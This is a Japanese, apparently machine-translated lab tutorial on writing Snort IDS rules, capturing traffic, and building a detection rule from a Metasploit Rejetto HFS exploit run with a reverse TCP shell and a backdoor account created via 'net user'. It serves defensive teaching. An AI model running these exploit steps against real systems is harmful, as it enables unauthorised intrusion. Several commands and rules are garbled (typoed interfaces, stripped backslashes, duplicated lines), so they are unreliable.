この一連のラボ演習では、基本的なルールの構文から特定の種類の攻撃を検出することを目的としたルールの記述まで、Snortルールを記述する際のさまざまなテクニックを実演します。 また、ルールのパフォーマンス解析と最適化に対する基本的なアプローチについても検証します。
演習 1: IDS としての Snort
SnortはIDSとして最もよく知られています。 snort.org の Web サイトから:
“Snort® は Sourcefire が開発したオープンソースのネットワーク侵入防止および検出システム (IDS/IPS) です。 シグネチャ、プロトコル、および異常ベースの検査の利点を組み合わせた Snort は、世界で最も広く展開されている IDS/IPS テクノロジーです。 数百万件のダウンロードと約40万人の登録ユーザーにより、SnortはIPSのデファクトスタンダードとなっています」
また、Sourcefireが2013年10月初旬にCiscoに買収されたことにも触れておく必要があります
Snortは基本的に3種類のモードで実行可能です。 IDS モード、ロギング モード、およびスニファ モードです。 このラボでは、Snort を IDS モードで使用し、後でパケット ロガーとして使用する予定です。 このラボでは、Ubuntu Server VM、Windows Server 2012 R2 VM、Kali Linux VMを使用します。
Ubuntu Server VMにSnortバージョン2.9.8がインストールされています。 Ubuntu Server VMを起動し、このガイドの冒頭で提供された資格情報でログオンし、デスクトップのショートカットをダブルクリックしてターミナルシェルを開きます。 (または、Ctrl+Alt+T を押して新しいシェルを開くこともできます。)
Snort のバージョンを確認するには、snort -V と入力して Enter を押します。
次に、保護するネットワークである HOME_NET 値を設定する必要があります。 まず、ターミナルシェルでifconfigを入力し、ネットワーク構成を確認します。 IPアドレスとネットワークインターフェイスの値に注意してください。
次に、次のコマンドを入力して、gedit テキスト エディタで snort 設定ファイルを開きます:
sudo gedit /etc/snort/snort.conf
Ubuntuサーバーのパスワードを入力して、get install を実行します。 snort.confファイルが開いたら、ipvar HOME_NETの設定を見つけるまでスクロールします。 IPアドレスは、実際のクラスCサブネットに変更したいでしょう。 現在、それは192.168.132.0/24であるべきです。 IP アドレスの部分を Ubuntu Server VM の IP と一致するように変更し、最後に “.0/24″ を残すようにします。 この時点で、Snortは実行可能な状態になっています。 ただし、ルールが読み込まれていないことを除けばです。 確認するには、次のコマンドを実行します:
sudo snort -T -i eth0 -c /etc/snort/snort.conf
ここで、eth0 インターフェース (異なる場合はインターフェースの値を入力) で設定ファイル (-c はその場所を指す) をテスト (- T) するよう Snort に指示しています。 これは、多くの出力を生成します。 0 Snort rules read」と表示されるまでスクロールします（下の画像を参照）。
このルールの構文を見てみましょう：
Rule headers
- alert – ルール動作です。 設定された条件が満たされると、Snortはアラートを生成します。
- any – ソースIP。 Snortはすべてのソースを検索します。
- any – 送信元ポート。 Snortはすべてのポートを検索します。
- -> – 方向。 送信元から送信先への方向です。
- $HOME_NET – 宛先IP。 snort.confファイルのHOME_NETの値を使用しています。
- any – 宛先ポート。 Snortは保護されたネットワーク上のすべてのポートを検索します。
ルール オプション:
- msg: “ICMP test” – Snortはこのメッセージを警告に含めます。
- sid:1000001 – SnortのルールIDです。 1,000,000より小さい数字はすべて予約されていることに注意してください。 (1,000,000より大きい数であれば、どのような数でも使用できます。)
- rev:1 – リビジョン番号です。 このオプションを使用すると、ルールのメンテナンスが容易になります。
- classtype:icmp-event – ルールを「icmp-event」、定義済みSnortカテゴリの1つとして分類します。 このオプションは、ルールの整理に役立ちます。
[保存]をクリックし、ファイルを閉じます。
sudo snort -T -i eth0 -c /etc/snort/snort.conf
上にスクロールすると、1つのルールがロードされていることが確認できるはずです。
次に、IDS モードで Snort を起動し、コンソールにアラートを表示するように指示します。
sudo snort -A console -q -c /etc/snort/snort.conf -i eht0
もう一度、使用すべき設定ファイル (-c) とインターフェース (-i eth0) を Snort に指定しています。 A consoleオプションはアラートを標準出力に出力し、-qは「クワイエット」モード（バナーやステータスレポートを表示しない）用です。 コマンドを入力しても何も出力されないはずですが、これはSnortが書いたルールで指定された活動を検知していないためです。
アクティビティを生成して、ルールが機能しているかどうかを確認しましょう。
Kali Linux VM を起動します。 GUI にアクセスするために、資格情報を入力した後に startx を入力する必要がある場合があります。 そこで、上部メニュー バーのアイコンをクリックしてターミナル シェルを開きます。
次に、次のコマンドで Ubuntu Server への ping を開始します (Ubuntu Server IP を .x の代わりに使用します)。
ping 192.168.x.x
数秒間実行し、Ctrl+Cで停止してプロンプトに戻ります。
ここで、Snort IDSが動作するUbuntuサーバーに戻ります。 msgオプションで指定したメッセージテキストで、すべてのICMP EchoリクエストとEchoリプライメッセージに対して生成されたアラートが表示されるはずです：
また、アラートを生成する活動に責任のあるホストのソースIPアドレスが表示されます。 上記の例では、それは 192.168.132.133 です。あなたのは違うかもしれません（しかし、それはあなたの Kali Linux VM の IP です）。 テストルールは機能しています! Ctrl+Cを押してSnortを停止し、プロンプトに戻ります。
次に、今度はもう少し具体的なルールを書いてみましょう。
sudo gedit /etc/snort/rules/local.rules
最初に、最初の規則をコメントアウトします。 その前にポンド記号 (#) を付けます。 新しい行に、次のルールを記述します (x.x には Kali Linux の IP を使用します):
alert tcp 192.168.x.x any -> $HOME_NET 21 (msg: “FTP connection attempt”; sid:1000002; rev:1;)
ここで、プロトコルを TCP に変え、特定のソース IP を使い、宛先ポート番号を 21 (FTP 接続用のデフォルト ポート ) に設定し、警告メッセージ テキストを変更しました。 ファイルを保存して閉じます。
sudo snort -A console -q -c /etc/snort/snort.conf -i eht0 -K ascii
私たちはSnortに対して、生成された警告をデフォルトのpcapではなくASCIIフォーマットで記録するように指示しています。 Snortが実行されたら（繰り返しますが、すぐに出力は表示されません）、Kali Linux VMに移動し、ターミナルシェルで次のコマンドを入力します（Ubuntu ServerのIPアドレスを使用）:
ftp 192.168.x.x
Ubuntuサーバに戻ってください。 アラートが生成されたことが確認できるはずです。
ルールが誤検出を生成していないことを確認するには、Ubuntu Server VM で別のターミナル シェルを開き、同じ FTP サーバーに接続してみることができます。 新しいアラートが表示されないはずです。 Ctrl+Cを押してSnortを停止します。
次に、次のコマンドを実行して、Snortログディレクトリの一覧を表示します:
ls /var/log/snort
次の画像のようなものが表示されます:
Snort.log.*ファイルは（先に複数の警告生成活動を行った場合は複数ある場合が）.pcapのログファイルです。 テキストエディタでは読めません。 表示されているIPアドレス（あなたのは画像と異なるでしょう）は、先ほど見たFTPルールのアラートの送信元IPです。 これはディレクトリです。
sudo ls /var/log/snort/192.168.x.x
そこには、活動に関与するプロトコル (TCP) とポート番号の名前が付いたファイルがあることがわかります。 このファイルをテキストエディタで読むか、cat コマンドを使用します。
sudo cat /var/log/snort/192.168.x.x/TCP:4561-21
コンソール出力で見たものと同じ情報が、いくつかの詳細とともに表示されます。
.pcap ファイルはどうでしょうか。 一般的なネットワーク プロトコル アナライザーである Wireshark を使用して、これらのファイルを調べることができます。 sudo wireshark と入力し、プログラムを起動します。 ポップアップするエラーや警告のメッセージを確認し、OKをクリックします。 Wiresharkのメインウィンドウで、File → Openと進みます。
/var/log/snortディレクトリを参照し、snort.log.*ファイルを選択しOpenをクリック。
ここにもっと多くの情報！
このような情報は、WireSharkを使用することで得ることができます。 中央のペインにある項目のいずれかをクリックして展開します。 これで、各パケットの内容を見ることができます。
Wiresharkを終了します。
次のルールでは、プロトコル、IP、およびポート番号に加えて、いくつかのコンテンツを検索するルールを作成しましょう。 まず、ルールに必要なコンテンツを提供するアクティビティを生成する必要があります。
Windows Server 2012 R2 VM を起動し、このガイドの冒頭で説明した資格情報を使用してログインします。 この VM には、FTP サーバーが実行されています。 まず、Windows Server 2102 R2 VM の IP アドレスを確認します。 デスクトップのショートカットからコマンドプロンプトを開き、ipconfig.
「IPv4アドレス」の値に注意してください（あなたのは画像と異なる可能性があります）。 Ubuntu Server VMに戻り、ftp 192.168.x.x (先ほど調べたIPアドレスを使用)と入力します。 名前とパスワードの入力を求められたら、そのままEnterキーを押します。 出力を調べてみましょう。
見てわかるように、無効な認証情報を入力すると “Login or password incorrect” というメッセージが表示されます。 これで、ルールを書くのに十分な情報が得られました。 quitを入力してFTPを終了し、プロンプトに戻ります。
sudo gedit /etc/snort/rules/local.rules
このファイルを何度も使用するので、開いたままにして、コマンドを入力する新しいターミナル シェルを起動してもよいでしょう。
alert tcp $HOME_NET 21 -> any any (msg: “FTP failed login”; content: “Login or password incorrect”; sid:1000003; rev:1;)
FTP サーバの発信応答を探すために、ソース IP として HOME_NET 値を設定したことに注意します。 ファイルを保存します。 それでは、このルールをテストしてみましょう。 IDS モードで Snort を起動します。
sudo snort -A console -q -c /etc/snort/snort.conf -i eht0
Kali Linux VM で、Windows Server 2012 R2 (ftp 192.168.x.x) 上の FTP サーバーに接続し、名前とパスワードにいずれかの値を入力してみてください。 プロンプトに戻るには、quit を入力します。 Ubuntu Server VMに戻ります。 Snortにロードした両方のアクティブなルールによって生成された複数のアラートが表示されるはずです。 CTRL+Cを押してSnortを停止します。
演習2：パケットロガーとしてのSnort
今日の攻撃の状況やベクトルは急速に変化しており、攻撃を確認するまでは何を探すべきかさえわからないことがあります。 そして、おそらくそのトラフィックを調査した後、その特定の「新しい」攻撃のためのルールを作成することができます。 これは、一般に公開されているSnortのデフォルトのルールが作成される方法とまったく同じです。
この演習では、Snortをパケット ログ モードで実行しながら、Windows Serverへの攻撃をシミュレートします。
3つのVM（Ubuntu Server、Windows Server、およびKali Linux）がすべて実行されていることを確認します。 Kali Linux VM 上で、ターミナル シェルに次のように入力します。
msfconsole
これにより、人気のある侵入テスト プラットフォームである Metasploit Framework が起動します。 ロードに数秒かかります。 データベース接続エラーは無視しましょう。 msf> プロンプトが表示されるまで待ちます。 そこで、次の一連のコマンドを入力します。
use exploit/windows/http/rejetto_hfs_exec
set PAYLOAD windows/shell/reverse_tcp
set LHOST 192.168.x.x (Kali Linux VM IP address)
set RHOST 192.168.x.x (Kalibit VM IP address)
set DHost 192.168.x.x (Windows Server 2012 R2 VM IP address)
set RPORT 8081
ここで、Windows Server 2012 R2 VM で実行中の脆弱なバージョンの Rejetto HFS HTTP File server に対する悪用設定を行ないました。
エクスプロイトを実行する前に、パケット ロギング モードで Snort を開始する必要があります。 Ubuntu Server VM に移動し、ターミナル シェルで次のコマンドを入力します。
sudo snort -dev -q -l /var/log/snort -i eth0
何の出力も表示されないと思います。 ここで、Kali Linux VM上で設定したmsf exploitに戻り、exploitを入力します。 exploit が成功した場合、コマンド シェルが表示されるはずです:
システムにアクセスできるようになったので、次のことを実行しましょう。
Create a new user account:
net user accountname P@ssword12 /ADD
Change directories to c:
cd
Make a new directory that is your name.
Create a new directory that are your name.
Make a new directory that is your name.
mkdir yourname
ここで Ctrl+C を押し、yes と答えて、コマンド シェルへのアクセスを閉じます。
次に、Ubuntu Server VM に移動して Ctrl+C を押して Snort を停止してください。 ターミナルシェルに sudo wireshark と入力します。 Wiresharkで、File → Openと進み、/var/log/snortをブラウズしてください。 この時点で、いくつかのsnort.log.*ファイルが存在することになります。
かなりの数のパケットがキャプチャされているのが見えるはずです。 Wireshark で、Edit → Find Packet を選択します。 表示されたダイアログで、[文字列]ラジオボタンを選択します。 次に、Search In criteriaにPacket Bytesを選択します。
検索ダイアログを設定したら、[検索]ボタンをクリックします。 検索すると、検索した文字列を含むパケットが見つかるはずです。 先に進み、そのパケットを選択します。 濃いオレンジ色のパケットになります。
この操作により、そのTCPセッションで入力されたすべてのコマンドが表示されるはずです。 これには、他のアクションと同様に、アカウントの作成が含まれます。
結果を確認したら、先にストリームウィンドウを閉じてください。 これで、最初に選択したパケットに戻るはずです。 次に、16進ダンプのASCII部分が下のペインに “C:UsersAdministratorDesktophfs2.3b>” と表示されるまで、上矢印を押してください。
上の図で選択されている部分に注意してください。 この内容を使用して、Rejetto HFSエクスプロイトの結果としてコマンド シェルが別のホストに送信されたときに知らせるアラートを作成します。 Wiresharkウィンドウを最小化します（まだ閉じないでください）。
演習3: ログされたトラフィックからカスタムルールを作成する
Snortが「C:UsersAdministratorDesktophfs2.3b>」を検知するといつでもアラートを表示させるようにしたいのです。 local.rulesファイルを開き（閉じた場合は、先ほどと同じコマンドを使用してrootで再度開きます）、次のルールを新しい行に追加します（コンテンツに含まれるようにすべてのバックスラッシュをエスケープしていることに注意してください）:
alert tcp $HOME_NET any -> any (msg: “Command Shell Access”; content: “C:UsersAdministratorDesktophfs2.2.3b”; sid:1000004; rev:1;)
ファイルを保存してください。 485>
sudo snort -A console -q -c /etc/snort/snort.conf -i eth0
ここで、Kali Linux VM に戻ります。 まだ rejetto エクスプロイトのプロンプトが表示されているはずです。 exploit と入力して、再度実行します。 コマンド シェルにアクセスできるようになるまで待ち、Ubuntu Server の Snort 端末に戻ります。 485>
Kali LinuxターミナルでCtrl+Cを押し、yを入力してコマンドシェルから退出します。 次に、Ubuntu ServerのターミナルでCtrl+Cを押して、Snortを停止します。
このケースでは、ルールで使用するための人間が読めるコンテンツがあります。 しかし、常にそうであるとは限りません。
16進形式で表されるコンテンツを検索するように、ルールを変更してみましょう。 まず、local.rules ファイルで、最新のルールをコピーして、新しい行の下に貼り付けます。 ここで、古いルールをコメントアウトし、新しいルールの「rev」値を「2」に変更します。
Wireshark ウィンドウで、同じペイロード部分を選択した状態で、もう一度キャプチャを表示します。 残念ながら、Wiresharkのメインウィンドウから直接16進数の値をコピーすることはできませんが、簡単な解決策があるので、それを利用します。 必要なコンテンツを選択した状態で、上部ペインで対応する（ハイライトされた）パケット、または中央ペインでハイライトされた “Data:” エントリを右クリックし、コピー → バイト → オフセット 16 進数を選択します。
次に、local.rules ファイルで、新しいルールの content 引数 (引用符の間のすべて) を選択して、右クリックし、[貼り付け] をクリックします。 ここで、余分なスペースや改行などを慎重に削除し、必要な16進数値だけを残します。 次に、パイプ記号 (|) を両端に付けます。 完成したルールは、以下の画像のようになります。
ファイルを保存します。 IDSモードでSnortを起動します。 次に、Kali Linux VMに移動して、エクスプロイトを再度実行します。 コマンド シェルを取得するまで待ち、Snortの出力を見ます。 生成されたアラートが表示されるはずです。
今回は、コンテンツに「>」記号の16進表現を含め、ルールをより具体的にしたため、4つのアラートではなく2つのアラートが表示されています。
Ctrl+Cキーを押して、Snortを停止します。 次に、Kali Linux VM上で、Ctrl+Cを押しながらyを入力して、コマンドシェルから退出します。 exitと入力すると、通常のプロンプトに戻ります。
これは、Snortルールの書き方の基本的な部分にすぎません。 後ほど、より高度なテクニックについて見ていきます。